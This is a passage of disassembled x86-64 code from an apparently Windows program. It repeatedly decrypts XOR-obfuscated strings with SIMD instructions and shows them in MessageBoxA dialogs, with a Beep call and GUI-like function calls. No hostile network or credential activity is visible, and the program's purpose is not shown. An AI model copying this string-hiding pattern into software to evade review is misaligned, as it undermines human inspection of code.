mov r8d, r12d
cmp r14d, 2
jl 0x140093e6a
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160a08]
xorps xmm2, xmm0
movd dword [rbp + 0x198], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x19c]
xorps xmm2, xmm1
movd dword [rbp + 0x19c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x198]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140093e80
movups xmm0, xmmword [str.kaWAYTXRVMgehU_]
movups xmmword [rbp + 0xa80], xmm0
movups xmm1, xmmword [str.0_0.d66___9l:_q_5_w_1_5_1_]
movups xmmword [rbp + 0xa90], xmm1
movups xmm0, xmmword [0x1401609e8]
movups xmmword [rbp + 0xaa0], xmm0
movsd xmm0, qword [0x1401609f8]
movsd qword [rbp + 0xab0], xmm0
movzx eax, word [0x140160a00]
mov word [rbp + 0xab8], ax
movzx eax, byte [0x140160a02]
mov byte [rbp + 0xaba], al
mov r8d, r12d
cmp r14d, 2
jl 0x140094059
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa84]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140093f50
cmp r8d, 0x3b
jge 0x1400940a0
movsxd rax, r8d
lea r9, [rbp + 0xa80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x140094070
mov r9d, 0x40
lea r8, [rbp + 0x198]
lea rdx, [rbp + 0xa80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, 0x3e8
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14006b760
call fcn.140079c30
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
movaps xmm7, xmmword [0x140163280]
mov dword [rbp + 0x4b8], 0x43700000
mov dword [rbp + 0x4bc], 0x42200000
movups xmm0, xmmword [str.qBG_]
movups xmmword [rbp + 0x6b0], xmm0
mov eax, dword [0x140160a28]
mov dword [rbp + 0x6c0], eax
movzx eax, word [0x140160a2c]
mov word [rbp + 0x6c4], ax
movzx eax, byte [0x140160a2e]
mov byte [rbp + 0x6c6], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009427a
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6b4]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140094171
cmp r8d, 0x17
jge 0x1400942c0
movsxd rax, r8d
lea r9, [rbp + 0x6b0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140094290
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195800]
mov qword [rsp + 0x28], rax
lea rax, [0x1401957f8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401957f0]
xor r8d, r8d
lea rdx, [rbp + 0x4b8]
lea rcx, [rbp + 0x6b0]
call fcn.14003f4d0
test al, al
je 0x140094695
movsd xmm0, qword [0x140160a70]
movsd qword [rbp + 0x1a8], xmm0
mov eax, dword [0x140160a78]
mov dword [rbp + 0x1b0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1b4], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009446a
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160a70]
xorps xmm2, xmm0
movd dword [rbp + 0x1a8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1ac]
xorps xmm2, xmm1
movd dword [rbp + 0x1ac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140094480
movups xmm0, xmmword [str.kpAFGh]
movups xmmword [rbp + 0xe00], xmm0
movups xmm1, xmmword [str.31____4g__l___p__s_a__6__20_]
movups xmmword [rbp + 0xe10], xmm1
movups xmm0, xmmword [0x140160a50]
movups xmmword [rbp + 0xe20], xmm0
movups xmm1, xmmword [0x140160a60]
movups xmmword [rbp + 0xe30], xmm1
cmp r14d, 2
jl 0x140094632
movdqa xmm5, xmmword [0x1401202d0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xe04]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x140094530
jmp 0x140094670
lea r9, [rbp + 0xe00]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x140094640
mov r9d, 0x40
lea r8, [rbp + 0x1a8]
lea rdx, [rbp + 0xe00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor edx, edx
xor ecx, ecx
call fcn.14006aff0
mov dword [rbp + 0x4c0], 0x42480000
mov dword [rbp + 0x4c4], 0x43a00000
lea rcx, [rbp + 0x4c0]
call fcn.140025b20
movaps xmm1, xmmword [0x140163280]
mov dword [rbp + 0x4c8], 0x43700000
mov dword [rbp + 0x4cc], 0x42200000
mov eax, dword [0x140160a80]
mov dword [rbp + 0x30], eax
movzx eax, byte [0x140160a84]
mov byte [rbp + 0x30], 0x53
xor byte [rbp + 0x31], 0x31
xor byte [rbp + 0x32], 0x32
xor byte [rbp + 0x33], 0x33
xor al, 0x34
mov byte [rbp + 0x34], al
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195830]
mov qword [rsp + 0x28], rax
lea rax, [0x140195828]
mov qword [rsp + 0x20], rax
lea r9, [0x140195820]
xor r8d, r8d
lea rdx, [rbp + 0x4c8]
lea rcx, [rbp + 0x30]
call fcn.14003f4d0
test al, al
je 0x140094ae1
movsd xmm0, qword [0x140160ac8]
movsd qword [rbp + 0x1b8], xmm0
mov eax, dword [0x140160ad0]
mov dword [rbp + 0x1c0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1c4], al
mov r8d, r12d
cmp r14d, 2
jl 0x14009489c
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160ac8]
xorps xmm2, xmm0
movd dword [rbp + 0x1b8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1bc]
xorps xmm2, xmm1
movd dword [rbp + 0x1bc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1b8]
add r9, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400948b0
movups xmm0, xmmword [str.kuWVD]
movups xmmword [rbp + 0xb38], xmm0
movups xmm1, xmmword [0x140160a98]
movups xmmword [rbp + 0xb48], xmm1
movups xmm0, xmmword [0x140160aa8]
movups xmmword [rbp + 0xb58], xmm0
movsd xmm0, qword [0x140160ab8]
movsd qword [rbp + 0xb68], xmm0
mov eax, dword [0x140160ac0]
mov dword [rbp + 0xb70], eax
mov r8d, r12d
cmp r14d, 2
jl 0x140094a79
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb3c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140094970
cmp r8d, 0x3c
jge 0x140094ac0
movsxd rax, r8d
lea r9, [rbp + 0xb38]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140094a90
mov r9d, 0x40
lea r8, [rbp + 0x1b8]
lea rdx, [rbp + 0xb38]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.14007e380
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.1400251e0
movaps xmm1, xmmword [0x140163280]
mov dword [rbp + 0x4d0], 0x43700000
mov dword [rbp + 0x4d4], 0x42200000
mov eax, dword [str.c__4]
mov dword [rbp + 0x38], eax
movzx eax, byte [0x140160adc]
mov byte [rbp + 0x38], 0x53
xor byte [rbp + 0x39], 0x31
xor byte [rbp + 0x3a], 0x32
xor byte [rbp + 0x3b], 0x33
xor al, 0x34
mov byte [rbp + 0x3c], al
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140195848]
mov qword [rsp + 0x28], rax
lea rax, [0x140195840]
mov qword [rsp + 0x20], rax
lea r9, [0x140195838]
xor r8d, r8d
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x38]
call fcn.14003f4d0
test al, al
je 0x140094f11
movsd xmm0, qword [str.FZRUVLPUU_]
movsd qword [rbp + 0x1c8], xmm0
mov eax, dword [0x140160b20]
mov dword [rbp + 0x1d0], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1d4], al
mov r8d, r12d
cmp r14d, 2
jl 0x140094cd5
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.FZRUVLPUU_]
xorps xmm2, xmm0
movd dword [rbp + 0x1c8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1cc]
xorps xmm2, xmm1
movd dword [rbp + 0x1cc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140094cf0
movups xmm0, xmmword [str.k_GZWk]
movups xmmword [rbp + 0xac0], xmm0
movups xmm1, xmmword [0x140160af0]
movups xmmword [rbp + 0xad0], xmm1
movups xmm0, xmmword [0x140160b00]
movups xmmword [rbp + 0xae0], xmm0
movzx eax, word [0x140160b10]
mov word [rbp + 0xaf0], ax
mov r8d, r12d
cmp r14d, 2
jl 0x140094ea9
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xac4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140094da0
cmp r8d, 0x32
jge 0x140094ef0
movsxd rax, r8d
lea r9, [rbp + 0xac0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x140094ec0
mov r9d, 0x40
lea r8, [rbp + 0x1c8]
lea rdx, [rbp + 0xac0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1400683c0
mov dword [rbp + 0x4d8], 0x42480000
mov dword [rbp + 0x4dc], 0x43b90000
lea rcx, [rbp + 0x4d8]
call fcn.140025b20
movaps xmm7, xmmword [0x140163280]
mov dword [rbp + 0x5b0], 0x43f50000
mov dword [rbp + 0x5b4], 0x42200000
movups xmm0, xmmword [str.sYWP_]
movups xmmword [rbp + 0x6e0], xmm0
mov eax, dword [0x140160b38]
mov dword [rbp + 0x6f0], eax
movzx eax, byte [0x140160b3c]
mov byte [rbp + 0x6f4], al
cmp r14d, 2
jl 0x1400950bc
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6e4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r12d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r12 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
